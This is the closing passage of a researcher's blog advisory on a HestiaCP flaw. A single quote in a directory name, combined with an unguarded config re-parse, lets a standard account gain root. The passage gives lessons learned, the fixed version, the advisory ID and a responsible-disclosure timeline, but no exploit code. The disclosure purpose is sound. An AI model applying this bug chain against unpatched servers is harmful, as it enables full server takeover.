maintainers alike A patch tells you where the maintainer was scared — and where they stopped. source_conf() getting a reserved-variable blacklist was the whole tip. Two sibling functions doing the identical unsafe operation were sitting right next to it, untouched. \u0026ldquo;It\u0026rsquo;s just a filename\u0026rdquo; is not a safe assumption. Filesystem paths routinely end up embedded in structured text (config files, logs, templates) without going through the same input validation as form fields. If your escaping logic handles slashes and ampersands but not quotes, and your data can contain quotes, you have exactly this bug shape. Chain two small bugs before giving up on either one. Neither flaw alone is very exciting. An unescaped write with no obvious reader is a shrug. An unguarded variable re-parse with no obvious attacker-controlled input is a shrug. Put them next to each other and you get root. Patch status Vulnerable: HestiaCP ≤ 1.10.4 Fixed: HestiaCP 1.10.5 — update now if you\u0026rsquo;re running an affected version. Advisory: GHSA-r9q4-pmcm-5qqf CVE: requested via GitHub, assignment pending Disclosure timeline 2026-09-08 — Vulnerability identified and confirmed, working PoC built. 2026-09-08 — Reported privately through HestiaCP\u0026rsquo;s GitHub Security Advisory process, with a full technical writeup, reproduction steps, and a suggested fix. Maintainers reviewed, confirmed, and shipped a fix in HestiaCP 1.10.5. 2026-09-15 — Advisory published: GHSA-r9q4-pmcm-5qqf. 2026-09-15 — CVE requested via GitHub; assignment pending. If you found this useful, I write about the bugs I find while hunting for CVEs in open-source software people actually run in production. Feel free to follow for more.\n— Ravindu Lakmina Munaweera\n","permalink":"https://ravindulakmina.pages.dev/advisories/hestiacp-apostrophe-to-root/","summary":"A single quote in a directory name lets any standard HestiaCP user account escalate to root. Reported, confirmed, and fixed in HestiaCP 1.10.5. GHSA-r9q4-pmcm-5qqf, CVSS 9.9.","title":"From a Stray Apostrophe to Root: Escalating a Standard HestiaCP Account to Full Server Compromise"}]